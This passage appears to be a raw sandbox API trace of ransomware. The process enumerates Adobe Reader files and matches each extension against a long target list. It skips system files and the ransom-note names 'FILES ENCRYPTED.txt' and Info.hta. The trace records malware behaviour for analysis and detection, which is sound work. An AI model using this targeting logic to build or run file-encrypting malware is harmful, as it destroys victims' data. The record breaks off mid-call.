[0276.602] lstrlenW (lpString=".dae") returned 4 [0276.602] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".dat") returned 4 [0276.602] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".db") returned 3 [0276.602] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.602] lstrlenW (lpString=".dbf") returned 4 [0276.602] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".dbx") returned 4 [0276.602] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".dc3") returned 4 [0276.602] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".dcm") returned 4 [0276.602] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".dcr") returned 4 [0276.602] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".der") returned 4 [0276.602] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1 [0276.602] lstrlenW (lpString=".dib") returned 4 [0276.603] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1 [0276.603] lstrlenW (lpString=".dic") returned 4 [0276.603] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1 [0276.603] lstrlenW (lpString=".dif") returned 4 [0276.603] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1 [0276.603] lstrlenW (lpString=".divx") returned 5 [0276.603] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1 [0276.603] lstrlenW (lpString=".djvu") returned 5 [0276.603] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1 [0276.603] lstrlenW (lpString=".dng") returned 4 [0276.603] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1 [0276.603] lstrlenW (lpString=".doc") returned 4 [0276.603] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1 [0276.603] lstrlenW (lpString=".docm") returned 5 [0276.603] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1 [0276.603] lstrlenW (lpString=".docx") returned 5 [0276.603] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1 [0276.603] lstrlenW (lpString=".dot") returned 4 [0276.603] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1 [0276.603] lstrlenW (lpString=".dotm") returned 5 [0276.603] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1 [0276.603] lstrlenW (lpString=".dotx") returned 5 [0276.603] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1 [0276.603] lstrlenW (lpString=".dpx") returned 4 [0276.603] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1 [0276.603] lstrlenW (lpString=".dqy") returned 4 [0276.604] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".dsn") returned 4 [0276.604] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".dt") returned 3 [0276.604] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.604] lstrlenW (lpString=".dtd") returned 4 [0276.604] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".dwg") returned 4 [0276.604] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".dwt") returned 4 [0276.604] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".dx") returned 3 [0276.604] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.604] lstrlenW (lpString=".dxf") returned 4 [0276.604] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".edml") returned 5 [0276.604] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1 [0276.604] lstrlenW (lpString=".efd") returned 4 [0276.604] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".elf") returned 4 [0276.604] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".emf") returned 4 [0276.604] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1 [0276.604] lstrlenW (lpString=".emz") returned 4 [0276.604] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".epf") returned 4 [0276.605] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".eps") returned 4 [0276.605] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".epsf") returned 5 [0276.605] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1 [0276.605] lstrlenW (lpString=".epsp") returned 5 [0276.605] lstrcmpiW (lpString1=".epsp", lpString2="or.js") returned -1 [0276.605] lstrlenW (lpString=".erf") returned 4 [0276.605] lstrcmpiW (lpString1=".erf", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".exr") returned 4 [0276.605] lstrcmpiW (lpString1=".exr", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".f4v") returned 4 [0276.605] lstrcmpiW (lpString1=".f4v", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".fido") returned 5 [0276.605] lstrcmpiW (lpString1=".fido", lpString2="or.js") returned -1 [0276.605] lstrlenW (lpString=".flm") returned 4 [0276.605] lstrcmpiW (lpString1=".flm", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".flv") returned 4 [0276.605] lstrcmpiW (lpString1=".flv", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".frm") returned 4 [0276.605] lstrcmpiW (lpString1=".frm", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".fxg") returned 4 [0276.605] lstrcmpiW (lpString1=".fxg", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".geo") returned 4 [0276.605] lstrcmpiW (lpString1=".geo", lpString2="r.js") returned -1 [0276.605] lstrlenW (lpString=".gif") returned 4 [0276.606] lstrcmpiW (lpString1=".gif", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".grs") returned 4 [0276.606] lstrcmpiW (lpString1=".grs", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".gz") returned 3 [0276.606] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.606] lstrlenW (lpString=".h") returned 2 [0276.606] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.606] lstrlenW (lpString=".hdr") returned 4 [0276.606] lstrcmpiW (lpString1=".hdr", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".hpp") returned 4 [0276.606] lstrcmpiW (lpString1=".hpp", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".hta") returned 4 [0276.606] lstrcmpiW (lpString1=".hta", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".htc") returned 4 [0276.606] lstrcmpiW (lpString1=".htc", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".htm") returned 4 [0276.606] lstrcmpiW (lpString1=".htm", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".html") returned 5 [0276.606] lstrcmpiW (lpString1=".html", lpString2="or.js") returned -1 [0276.606] lstrlenW (lpString=".icb") returned 4 [0276.606] lstrcmpiW (lpString1=".icb", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".ics") returned 4 [0276.606] lstrcmpiW (lpString1=".ics", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".iff") returned 4 [0276.606] lstrcmpiW (lpString1=".iff", lpString2="r.js") returned -1 [0276.606] lstrlenW (lpString=".inc") returned 4 [0276.606] lstrcmpiW (lpString1=".inc", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".indd") returned 5 [0276.607] lstrcmpiW (lpString1=".indd", lpString2="or.js") returned -1 [0276.607] lstrlenW (lpString=".ini") returned 4 [0276.607] lstrcmpiW (lpString1=".ini", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".iqy") returned 4 [0276.607] lstrcmpiW (lpString1=".iqy", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".j2c") returned 4 [0276.607] lstrcmpiW (lpString1=".j2c", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".j2k") returned 4 [0276.607] lstrcmpiW (lpString1=".j2k", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".java") returned 5 [0276.607] lstrcmpiW (lpString1=".java", lpString2="or.js") returned -1 [0276.607] lstrlenW (lpString=".jp2") returned 4 [0276.607] lstrcmpiW (lpString1=".jp2", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".jpc") returned 4 [0276.607] lstrcmpiW (lpString1=".jpc", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".jpe") returned 4 [0276.607] lstrcmpiW (lpString1=".jpe", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".jpeg") returned 5 [0276.607] lstrcmpiW (lpString1=".jpeg", lpString2="or.js") returned -1 [0276.607] lstrlenW (lpString=".jpf") returned 4 [0276.607] lstrcmpiW (lpString1=".jpf", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".jpg") returned 4 [0276.607] lstrcmpiW (lpString1=".jpg", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".jpx") returned 4 [0276.607] lstrcmpiW (lpString1=".jpx", lpString2="r.js") returned -1 [0276.607] lstrlenW (lpString=".js") returned 3 [0276.608] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0276.608] lstrlenW (lpString="convertpdf-selector.js") returned 22 [0276.608] lstrlenW (lpString=".love$") returned 6 [0276.608] lstrcmpiW (lpString1=".love$", lpString2="tor.js") returned -1 [0276.608] lstrlenW (lpString="convertpdf-selector.js") returned 22 [0276.608] lstrcmpiW (lpString1="boot.ini", lpString2="convertpdf-selector.js") returned -1 [0276.608] lstrcmpiW (lpString1="bootfont.bin", lpString2="convertpdf-selector.js") returned -1 [0276.608] lstrcmpiW (lpString1="ntldr", lpString2="convertpdf-selector.js") returned 1 [0276.608] lstrcmpiW (lpString1="ntdetect.com", lpString2="convertpdf-selector.js") returned 1 [0276.608] lstrcmpiW (lpString1="io.sys", lpString2="convertpdf-selector.js") returned 1 [0276.608] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="convertpdf-selector.js") returned 1 [0276.608] lstrcmpiW (lpString1="Info.hta", lpString2="convertpdf-selector.js") returned 1 [0276.608] lstrcmpiW (lpString1="finbbp.exe", lpString2="convertpdf-selector.js") returned 1 [0276.608] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js") returned 134 [0276.608] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-tool-view.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0276.608] lstrlenW (lpString="convertpdf-tool-view.js") returned 23 [0276.608] lstrlenW (lpString=".1cd") returned 4 [0276.608] lstrcmpiW (lpString1=".1cd", lpString2="w.js") returned -1 [0276.608] lstrlenW (lpString=".3ds") returned 4 [0276.608] lstrcmpiW (lpString1=".3ds", lpString2="w.js") returned -1 [0276.608] lstrlenW (lpString=".3fr") returned 4 [0276.608] lstrcmpiW (lpString1=".3fr", lpString2="w.js") returned -1 [0276.608] lstrlenW (lpString=".3g2") returned 4 [0276.608] lstrcmpiW (lpString1=".3g2", lpString2="w.js") returned -1 [0276.609] lstrlenW (lpString=".3gp") returned 4 [0276.609] lstrcmpiW (lpString1=".3gp", lpString2="w.js") returned -1 [0276.609] lstrlenW (lpString=".7z") returned 3 [0276.609] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.609] lstrlenW (lpString=".accda") returned 6 [0276.609] lstrcmpiW (lpString1=".accda", lpString2="iew.js") returned -1 [0276.609] lstrlenW (lpString=".accdb") returned 6 [0276.609] lstrcmpiW (lpString1=".accdb", lpString2="iew.js") returned -1 [0276.609] lstrlenW (lpString=".accdc") returned 6 [0276.609] lstrcmpiW (lpString1=".accdc", lpString2="iew.js") returned -1 [0276.609] lstrlenW (lpString=".accde") returned 6 [0276.609] lstrcmpiW (lpString1=".accde", lpString2="iew.js") returned -1 [0276.609] lstrlenW (lpString=".accdt") returned 6 [0276.609] lstrcmpiW (lpString1=".accdt", lpString2="iew.js") returned -1 [0276.609] lstrlenW (lpString=".accdw") returned 6 [0276.797] lstrcmpiW (lpString1=".accdw", lpString2="iew.js") returned -1 [0276.797] lstrlenW (lpString=".adb") returned 4 [0276.797] lstrcmpiW (lpString1=".adb", lpString2="w.js") returned -1 [0276.797] lstrlenW (lpString=".adp") returned 4 [0276.797] lstrcmpiW (lpString1=".adp", lpString2="w.js") returned -1 [0276.797] lstrlenW (lpString=".ai") returned 3 [0276.797] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.797] lstrlenW (lpString=".ai3") returned 4 [0276.797] lstrcmpiW (lpString1=".ai3", lpString2="w.js") returned -1 [0276.797] lstrlenW (lpString=".ai4") returned 4 [0276.797] lstrcmpiW (lpString1=".ai4", lpString2="w.js") returned -1 [0276.797] lstrlenW (lpString=".ai5") returned 4 [0276.797] lstrcmpiW (lpString1=".ai5", lpString2="w.js") returned -1 [0276.797] lstrlenW (lpString=".ai6") returned 4 [0276.797] lstrcmpiW (lpString1=".ai6", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".ai7") returned 4 [0276.798] lstrcmpiW (lpString1=".ai7", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".ai8") returned 4 [0276.798] lstrcmpiW (lpString1=".ai8", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".anim") returned 5 [0276.798] lstrcmpiW (lpString1=".anim", lpString2="ew.js") returned -1 [0276.798] lstrlenW (lpString=".arw") returned 4 [0276.798] lstrcmpiW (lpString1=".arw", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".as") returned 3 [0276.798] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.798] lstrlenW (lpString=".asa") returned 4 [0276.798] lstrcmpiW (lpString1=".asa", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".asc") returned 4 [0276.798] lstrcmpiW (lpString1=".asc", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".ascx") returned 5 [0276.798] lstrcmpiW (lpString1=".ascx", lpString2="ew.js") returned -1 [0276.798] lstrlenW (lpString=".asm") returned 4 [0276.798] lstrcmpiW (lpString1=".asm", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".asmx") returned 5 [0276.798] lstrcmpiW (lpString1=".asmx", lpString2="ew.js") returned -1 [0276.798] lstrlenW (lpString=".asp") returned 4 [0276.798] lstrcmpiW (lpString1=".asp", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".aspx") returned 5 [0276.798] lstrcmpiW (lpString1=".aspx", lpString2="ew.js") returned -1 [0276.798] lstrlenW (lpString=".asr") returned 4 [0276.798] lstrcmpiW (lpString1=".asr", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".asx") returned 4 [0276.798] lstrcmpiW (lpString1=".asx", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".avi") returned 4 [0276.798] lstrcmpiW (lpString1=".avi", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".avs") returned 4 [0276.798] lstrcmpiW (lpString1=".avs", lpString2="w.js") returned -1 [0276.798] lstrlenW (lpString=".backup") returned 7 [0276.799] lstrcmpiW (lpString1=".backup", lpString2="view.js") returned -1 [0276.799] lstrlenW (lpString=".bak") returned 4 [0276.799] lstrcmpiW (lpString1=".bak", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".bay") returned 4 [0276.799] lstrcmpiW (lpString1=".bay", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".bd") returned 3 [0276.799] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.799] lstrlenW (lpString=".bin") returned 4 [0276.799] lstrcmpiW (lpString1=".bin", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".bmp") returned 4 [0276.799] lstrcmpiW (lpString1=".bmp", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".bz2") returned 4 [0276.799] lstrcmpiW (lpString1=".bz2", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".c") returned 2 [0276.799] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.799] lstrlenW (lpString=".cdr") returned 4 [0276.799] lstrcmpiW (lpString1=".cdr", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".cer") returned 4 [0276.799] lstrcmpiW (lpString1=".cer", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".cf") returned 3 [0276.799] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.799] lstrlenW (lpString=".cfc") returned 4 [0276.799] lstrcmpiW (lpString1=".cfc", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".cfm") returned 4 [0276.799] lstrcmpiW (lpString1=".cfm", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".cfml") returned 5 [0276.799] lstrcmpiW (lpString1=".cfml", lpString2="ew.js") returned -1 [0276.799] lstrlenW (lpString=".cfu") returned 4 [0276.799] lstrcmpiW (lpString1=".cfu", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".chm") returned 4 [0276.799] lstrcmpiW (lpString1=".chm", lpString2="w.js") returned -1 [0276.799] lstrlenW (lpString=".cin") returned 4 [0276.799] lstrcmpiW (lpString1=".cin", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".class") returned 6 [0276.800] lstrcmpiW (lpString1=".class", lpString2="iew.js") returned -1 [0276.800] lstrlenW (lpString=".clx") returned 4 [0276.800] lstrcmpiW (lpString1=".clx", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".config") returned 7 [0276.800] lstrcmpiW (lpString1=".config", lpString2="view.js") returned -1 [0276.800] lstrlenW (lpString=".cpp") returned 4 [0276.800] lstrcmpiW (lpString1=".cpp", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".cr2") returned 4 [0276.800] lstrcmpiW (lpString1=".cr2", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".crt") returned 4 [0276.800] lstrcmpiW (lpString1=".crt", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".crw") returned 4 [0276.800] lstrcmpiW (lpString1=".crw", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".cs") returned 3 [0276.800] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.800] lstrlenW (lpString=".css") returned 4 [0276.800] lstrcmpiW (lpString1=".css", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".csv") returned 4 [0276.800] lstrcmpiW (lpString1=".csv", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".cub") returned 4 [0276.800] lstrcmpiW (lpString1=".cub", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".dae") returned 4 [0276.800] lstrcmpiW (lpString1=".dae", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".dat") returned 4 [0276.800] lstrcmpiW (lpString1=".dat", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".db") returned 3 [0276.800] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.800] lstrlenW (lpString=".dbf") returned 4 [0276.800] lstrcmpiW (lpString1=".dbf", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".dbx") returned 4 [0276.800] lstrcmpiW (lpString1=".dbx", lpString2="w.js") returned -1 [0276.800] lstrlenW (lpString=".dc3") returned 4 [0276.800] lstrcmpiW (lpString1=".dc3", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".dcm") returned 4 [0276.801] lstrcmpiW (lpString1=".dcm", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".dcr") returned 4 [0276.801] lstrcmpiW (lpString1=".dcr", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".der") returned 4 [0276.801] lstrcmpiW (lpString1=".der", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".dib") returned 4 [0276.801] lstrcmpiW (lpString1=".dib", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".dic") returned 4 [0276.801] lstrcmpiW (lpString1=".dic", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".dif") returned 4 [0276.801] lstrcmpiW (lpString1=".dif", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".divx") returned 5 [0276.801] lstrcmpiW (lpString1=".divx", lpString2="ew.js") returned -1 [0276.801] lstrlenW (lpString=".djvu") returned 5 [0276.801] lstrcmpiW (lpString1=".djvu", lpString2="ew.js") returned -1 [0276.801] lstrlenW (lpString=".dng") returned 4 [0276.801] lstrcmpiW (lpString1=".dng", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".doc") returned 4 [0276.801] lstrcmpiW (lpString1=".doc", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".docm") returned 5 [0276.801] lstrcmpiW (lpString1=".docm", lpString2="ew.js") returned -1 [0276.801] lstrlenW (lpString=".docx") returned 5 [0276.801] lstrcmpiW (lpString1=".docx", lpString2="ew.js") returned -1 [0276.801] lstrlenW (lpString=".dot") returned 4 [0276.801] lstrcmpiW (lpString1=".dot", lpString2="w.js") returned -1 [0276.801] lstrlenW (lpString=".dotm") returned 5 [0276.801] lstrcmpiW (lpString1=".dotm", lpString2="ew.js") returned -1 [0276.801] lstrlenW (lpString=".dotx") returned 5 [0276.802] lstrcmpiW (lpString1=".dotx", lpString2="ew.js") returned -1 [0276.802] lstrlenW (lpString=".dpx") returned 4 [0276.802] lstrcmpiW (lpString1=".dpx", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".dqy") returned 4 [0276.802] lstrcmpiW (lpString1=".dqy", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".dsn") returned 4 [0276.802] lstrcmpiW (lpString1=".dsn", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".dt") returned 3 [0276.802] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.802] lstrlenW (lpString=".dtd") returned 4 [0276.802] lstrcmpiW (lpString1=".dtd", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".dwg") returned 4 [0276.802] lstrcmpiW (lpString1=".dwg", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".dwt") returned 4 [0276.802] lstrcmpiW (lpString1=".dwt", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".dx") returned 3 [0276.802] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.802] lstrlenW (lpString=".dxf") returned 4 [0276.802] lstrcmpiW (lpString1=".dxf", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".edml") returned 5 [0276.802] lstrcmpiW (lpString1=".edml", lpString2="ew.js") returned -1 [0276.802] lstrlenW (lpString=".efd") returned 4 [0276.802] lstrcmpiW (lpString1=".efd", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".elf") returned 4 [0276.802] lstrcmpiW (lpString1=".elf", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".emf") returned 4 [0276.802] lstrcmpiW (lpString1=".emf", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".emz") returned 4 [0276.802] lstrcmpiW (lpString1=".emz", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".epf") returned 4 [0276.802] lstrcmpiW (lpString1=".epf", lpString2="w.js") returned -1 [0276.802] lstrlenW (lpString=".eps") returned 4 [0276.803] lstrcmpiW (lpString1=".eps", lpString2="w.js") returned -1 [0276.803] lstrlenW (lpString=".epsf") returned 5 [0276.803] lstrcmpiW (lpString1=".epsf", lpString2="ew.js") returned -1 [0276.803] lstrlenW (lpString=".epsp") returned 5 [0276.803] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-selector.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0276.803] lstrlenW (lpString="exportpdf-selector.js") returned 21 [0276.803] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62167, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-tool-view.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0276.803] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0276.803] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0276.803] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0276.805] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.805] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="convertpdf-rna-selector.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0276.805] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="convertpdf-rna-tool-view.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0276.805] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: 